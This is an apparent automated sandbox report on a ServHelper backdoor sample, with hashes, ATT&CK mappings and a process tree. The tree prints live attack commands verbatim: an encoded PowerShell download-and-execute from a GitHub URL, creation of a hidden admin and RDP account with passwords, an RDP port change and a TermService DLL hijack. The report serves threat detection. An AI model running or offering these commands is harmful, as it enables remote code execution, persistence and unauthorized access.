servhelper | ae1c9d454905ed43654f99b1ea1e8ecc3ae08eb75c3860f46b285ce724ae5e4d

Target

472208d7ba18d4c14b7e90b9db5d6feb.exe
Size

5.9MB
MD5

472208d7ba18d4c14b7e90b9db5d6feb
SHA1

ff24cc43998ff99e61b1a838e1d51c4888498935
SHA256

ae1c9d454905ed43654f99b1ea1e8ecc3ae08eb75c3860f46b285ce724ae5e4d
SHA512

9ce72c4da799273ae13008c0033c3d0638f224042ae3bb7910ffb5f59a64babbcd8039468b0a94b8fa5f3192f543a59f493878ade5233d9958d874d59a1e1a15

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 2 IoCs

flow	pid	Process
10	1740	powershell.exe
11	1740	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
780	icacls.exe
1000	icacls.exe
1084	icacls.exe
1588	icacls.exe
1212	icacls.exe
1904	takeown.exe
1932	icacls.exe
1960	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0003000000012f02-132.dat	upx
behavioral1/files/0x0005000000012f04-133.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
1932	Process not Found
1932	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1588	icacls.exe
1212	icacls.exe
1904	takeown.exe
1932	icacls.exe
1960	icacls.exe
780	icacls.exe
1000	icacls.exe
1084	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WVLWSTRPTYRT2K0VAQ3X.temp	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 802e293aee9fd701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1056	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1468	powershell.exe
1264	powershell.exe
980	powershell.exe
1952	powershell.exe
1468	powershell.exe
1468	powershell.exe
1468	powershell.exe
1740	powershell.exe

Suspicious behavior: LoadsDriver 59 IoCs

pid	Process
468	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found
1932	Process not Found

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	1992	472208d7ba18d4c14b7e90b9db5d6feb.exe
Token: SeDebugPrivilege	1468	powershell.exe
Token: SeDebugPrivilege	1264	powershell.exe
Token: SeDebugPrivilege	980	powershell.exe
Token: SeDebugPrivilege	1952	powershell.exe
Token: SeRestorePrivilege	1960	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1604	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1604	WMIC.exe
Token: SeAuditPrivilege	1604	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1604	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1604	WMIC.exe
Token: SeAuditPrivilege	1604	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1568	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1568	WMIC.exe
Token: SeAuditPrivilege	1568	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1568	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1568	WMIC.exe
Token: SeAuditPrivilege	1568	WMIC.exe
Token: SeDebugPrivilege	1740	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1992 wrote to memory of 1468	1992	472208d7ba18d4c14b7e90b9db5d6feb.exe	30
PID 1992 wrote to memory of 1468	1992	472208d7ba18d4c14b7e90b9db5d6feb.exe	30
PID 1992 wrote to memory of 1468	1992	472208d7ba18d4c14b7e90b9db5d6feb.exe	30
PID 1468 wrote to memory of 1460	1468	powershell.exe	32
PID 1468 wrote to memory of 1460	1468	powershell.exe	32
PID 1468 wrote to memory of 1460	1468	powershell.exe	32
PID 1460 wrote to memory of 1568	1460	csc.exe	33
PID 1460 wrote to memory of 1568	1460	csc.exe	33
PID 1460 wrote to memory of 1568	1460	csc.exe	33
PID 1468 wrote to memory of 1264	1468	powershell.exe	34
PID 1468 wrote to memory of 1264	1468	powershell.exe	34
PID 1468 wrote to memory of 1264	1468	powershell.exe	34
PID 1468 wrote to memory of 980	1468	powershell.exe	36
PID 1468 wrote to memory of 980	1468	powershell.exe	36
PID 1468 wrote to memory of 980	1468	powershell.exe	36
PID 1468 wrote to memory of 1952	1468	powershell.exe	38
PID 1468 wrote to memory of 1952	1468	powershell.exe	38
PID 1468 wrote to memory of 1952	1468	powershell.exe	38
PID 1468 wrote to memory of 1904	1468	powershell.exe	40
PID 1468 wrote to memory of 1904	1468	powershell.exe	40
PID 1468 wrote to memory of 1904	1468	powershell.exe	40
PID 1468 wrote to memory of 1932	1468	powershell.exe	41
PID 1468 wrote to memory of 1932	1468	powershell.exe	41
PID 1468 wrote to memory of 1932	1468	powershell.exe	41
PID 1468 wrote to memory of 1960	1468	powershell.exe	42
PID 1468 wrote to memory of 1960	1468	powershell.exe	42
PID 1468 wrote to memory of 1960	1468	powershell.exe	42
PID 1468 wrote to memory of 780	1468	powershell.exe	43
PID 1468 wrote to memory of 780	1468	powershell.exe	43
PID 1468 wrote to memory of 780	1468	powershell.exe	43
PID 1468 wrote to memory of 1000	1468	powershell.exe	44
PID 1468 wrote to memory of 1000	1468	powershell.exe	44
PID 1468 wrote to memory of 1000	1468	powershell.exe	44
PID 1468 wrote to memory of 1084	1468	powershell.exe	45
PID 1468 wrote to memory of 1084	1468	powershell.exe	45
PID 1468 wrote to memory of 1084	1468	powershell.exe	45
PID 1468 wrote to memory of 1588	1468	powershell.exe	46
PID 1468 wrote to memory of 1588	1468	powershell.exe	46
PID 1468 wrote to memory of 1588	1468	powershell.exe	46
PID 1468 wrote to memory of 1212	1468	powershell.exe	47
PID 1468 wrote to memory of 1212	1468	powershell.exe	47
PID 1468 wrote to memory of 1212	1468	powershell.exe	47
PID 1468 wrote to memory of 1796	1468	powershell.exe	48
PID 1468 wrote to memory of 1796	1468	powershell.exe	48
PID 1468 wrote to memory of 1796	1468	powershell.exe	48
PID 1468 wrote to memory of 1056	1468	powershell.exe	49
PID 1468 wrote to memory of 1056	1468	powershell.exe	49
PID 1468 wrote to memory of 1056	1468	powershell.exe	49
PID 1468 wrote to memory of 976	1468	powershell.exe	50
PID 1468 wrote to memory of 976	1468	powershell.exe	50
PID 1468 wrote to memory of 976	1468	powershell.exe	50
PID 1468 wrote to memory of 1164	1468	powershell.exe	51
PID 1468 wrote to memory of 1164	1468	powershell.exe	51
PID 1468 wrote to memory of 1164	1468	powershell.exe	51
PID 1164 wrote to memory of 1152	1164	net.exe	52
PID 1164 wrote to memory of 1152	1164	net.exe	52
PID 1164 wrote to memory of 1152	1164	net.exe	52
PID 1468 wrote to memory of 1720	1468	powershell.exe	53
PID 1468 wrote to memory of 1720	1468	powershell.exe	53
PID 1468 wrote to memory of 1720	1468	powershell.exe	53
PID 1720 wrote to memory of 1556	1720	cmd.exe	54
PID 1720 wrote to memory of 1556	1720	cmd.exe	54
PID 1720 wrote to memory of 1556	1720	cmd.exe	54
PID 1556 wrote to memory of 344	1556	cmd.exe	55

C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe
"C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1468
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\_swl6zs3.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1460
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5774.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC5763.tmp"
      4⤵
      PID:1568
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1264
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:980
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1952
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1904
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1932
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1960
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:780
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1000
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1084
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1588
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1212
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1796
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1056
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:976
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1164
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1152
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1720
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1556
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:344
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1692
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1696
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1628
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1752
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1904
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1012
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1508

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:1000
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:1252
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:1712

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc je5MRPej /add
1⤵
PID:1384
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc je5MRPej /add
  2⤵
  PID:1600
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc je5MRPej /add
    3⤵
    PID:976

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:708
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:1508
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1504

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" EMSKOIMQ$ /ADD
1⤵
PID:616
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" EMSKOIMQ$ /ADD
  2⤵
  PID:1364
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" EMSKOIMQ$ /ADD
    3⤵
    PID:1588

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1944
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:1368
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1460

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc je5MRPej
1⤵
PID:976
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc je5MRPej
  2⤵
  PID:1392
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc je5MRPej
    3⤵
    PID:344

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1496
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1604

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1012
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1568

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1556
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1392
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1740

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 111213&net user wgautilacc /active:yes
1⤵
PID:1728
- C:\Windows\system32\net.exe
  net user wgautilacc 111213
  2⤵
  PID:2032
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 111213
    3⤵
    PID:572
- C:\Windows\system32\net.exe
  net user wgautilacc /active:yes
  2⤵
  PID:1064
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc /active:yes
    3⤵
    PID:1796

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/980-92-0x000007FEEB630000-0x000007FEEC18D000-memory.dmp

Filesize
11.4MB

Download
memory/980-95-0x00000000026A2000-0x00000000026A4000-memory.dmp

Filesize
8KB

Download
memory/980-96-0x00000000026A4000-0x00000000026A7000-memory.dmp

Filesize
12KB

Download
memory/980-97-0x00000000026A7000-0x00000000026A8000-memory.dmp

Filesize
4KB

Download
memory/980-93-0x000000001B8F0000-0x000000001BBEF000-memory.dmp

Filesize
3.0MB

Download
memory/980-94-0x00000000026A0000-0x00000000026A2000-memory.dmp

Filesize
8KB

Download
memory/980-98-0x00000000026AC000-0x00000000026CB000-memory.dmp

Filesize
124KB

Download
memory/1264-88-0x000000000288C000-0x00000000028AB000-memory.dmp

Filesize
124KB

Download
memory/1264-83-0x000000001B880000-0x000000001BB7F000-memory.dmp

Filesize
3.0MB

Download
memory/1264-87-0x0000000002887000-0x0000000002888000-memory.dmp

Filesize
4KB

Download
memory/1264-84-0x0000000002880000-0x0000000002882000-memory.dmp

Filesize
8KB

Download
memory/1264-82-0x000007FEEB630000-0x000007FEEC18D000-memory.dmp

Filesize
11.4MB

Download
memory/1264-86-0x0000000002884000-0x0000000002887000-memory.dmp

Filesize
12KB

Download
memory/1264-85-0x0000000002882000-0x0000000002884000-memory.dmp

Filesize
8KB

Download
memory/1460-77-0x0000000002090000-0x0000000002092000-memory.dmp

Filesize
8KB

Download
memory/1468-62-0x0000000002600000-0x0000000002602000-memory.dmp

Filesize
8KB

Download
memory/1468-68-0x000000000260B000-0x000000000262A000-memory.dmp

Filesize
124KB

Download
memory/1468-63-0x0000000002602000-0x0000000002604000-memory.dmp

Filesize
8KB

Download
memory/1468-61-0x000007FEEB630000-0x000007FEEC18D000-memory.dmp

Filesize
11.4MB

Download
memory/1468-78-0x000000000262D000-0x000000000262E000-memory.dmp

Filesize
4KB

Download
memory/1468-60-0x000007FEFB9F1000-0x000007FEFB9F3000-memory.dmp

Filesize
8KB

Download
memory/1468-65-0x000000001B760000-0x000000001BA5F000-memory.dmp

Filesize
3.0MB

Download
memory/1468-64-0x0000000002604000-0x0000000002607000-memory.dmp

Filesize
12KB

Download
memory/1740-153-0x0000000000FDB000-0x0000000000FFA000-memory.dmp

Filesize
124KB

Download
memory/1740-155-0x0000000000FD4000-0x0000000000FD7000-memory.dmp

Filesize
12KB

Download
memory/1740-154-0x0000000000FD2000-0x0000000000FD4000-memory.dmp

Filesize
8KB

Download
memory/1740-152-0x0000000000FD0000-0x0000000000FD2000-memory.dmp

Filesize
8KB

Download
memory/1740-151-0x000007FEEB630000-0x000007FEEC18D000-memory.dmp

Filesize
11.4MB

Download
memory/1952-106-0x00000000025B2000-0x00000000025B4000-memory.dmp

Filesize
8KB

Download
memory/1952-108-0x00000000025B7000-0x00000000025B8000-memory.dmp

Filesize
4KB

Download
memory/1952-105-0x00000000025B0000-0x00000000025B2000-memory.dmp

Filesize
8KB

Download
memory/1952-109-0x00000000025BC000-0x00000000025DB000-memory.dmp

Filesize
124KB

Download
memory/1952-107-0x00000000025B4000-0x00000000025B7000-memory.dmp

Filesize
12KB

Download
memory/1952-103-0x000007FEEB630000-0x000007FEEC18D000-memory.dmp

Filesize
11.4MB

Download
memory/1992-58-0x0000000028387000-0x0000000028388000-memory.dmp

Filesize
4KB

Download
memory/1992-55-0x0000000028382000-0x0000000028384000-memory.dmp

Filesize
8KB

Download
memory/1992-56-0x0000000028384000-0x0000000028386000-memory.dmp

Filesize
8KB

Download
memory/1992-57-0x0000000028386000-0x0000000028387000-memory.dmp

Filesize
4KB

Download
memory/1992-53-0x00000000414C0000-0x00000000418E0000-memory.dmp

Filesize
4.1MB

Download